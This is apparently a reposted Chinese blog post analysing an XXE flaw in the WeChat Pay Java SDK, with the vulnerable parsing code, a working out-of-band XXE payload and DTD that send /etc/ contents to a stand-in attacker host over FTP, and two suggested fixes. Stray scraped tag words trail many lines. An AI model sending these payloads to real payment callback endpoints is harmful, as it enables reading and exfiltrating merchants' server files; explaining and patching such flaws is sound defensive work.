微信支付sdk被曝xxe漏洞,漏洞原理分析

        昨日在國外安全社區seclists有一個署名叫Rose Jackcode的白帽子公佈了微信支付sdk的一個嚴重的安全漏洞(xxe漏洞)。攻擊者能夠僞造一個惡意的回調數據請求(xml格式),讀取商戶服務器上任意文件,甚至能夠執行遠程系統命令,致使商戶服務器被入侵。shell

        目前微信支付安全團隊表示已對該SDK進行更新,修復了已知的安全漏洞,並在此提醒商戶及時更新。安全

        雖然微信支付官網上的sdk更新了,可是漏洞是存在於商戶的網站系統中,須要商戶下載最新的sdk對系統進行更新發布(或者看下面的本身修復方案)。所以目前還有大量的微信商戶系統存在此漏洞,相關商戶須要及時更新。服務器

 

來看看該微信支付sdk漏洞如何形成的:微信

        什麼是xxe漏洞,xxe全稱爲XML External Entity attack,即XML外部實體漏洞。XML定義的外部實體能夠載入本地或者遠程的內容。dom

        受影響版本: WxPayAPI_JAVA_v3.zip (以前版本的應該也受影響)post

        漏洞版本sdk中的README.md出示的例子:微信支付

String notifyData = "...."; 

MyConfig config = new MyConfig(); 

WXPay wxpay = new WXPay(config); //conver to map 

Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); 

....

 

WXPayUtil裏:網站

public static Map<String, String> xmlToMap(String strXML) throws Exception { 

Map<String, String> data = new HashMap<String, String>(); 

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 

// 沒有xxe防範

DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 

InputStream stream = new ByteArrayInputStream(strXML.getBytes( "UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); 

...

}

 

如何模擬利用此漏洞:ui

向商家回調的url中模擬post如下xml數據:url

 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/">

<!ENTITY % hxt SYSTEM "http://attack:8080/shell/data.dtd";>

%hxt;

]>

 

http://attack:8080爲攻擊者本身搭建的服務器,在data.dtd中寫上:

 

<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack; '>">

%shell;

%upload;

 

觸發XXE攻擊後,商家服務器會把/etc/的內容發送到攻擊者的ftp://attack:33上。

 

 

不用最新版sdk修復方案:

方案1.

禁用外部實體,在WXPayUtil裏

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

下面加上

documentBuilderFactory.setExpandEntityReferences(false);

 

方案2.

過濾用戶提交的XML數據

關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

相關文章
相關標籤/搜索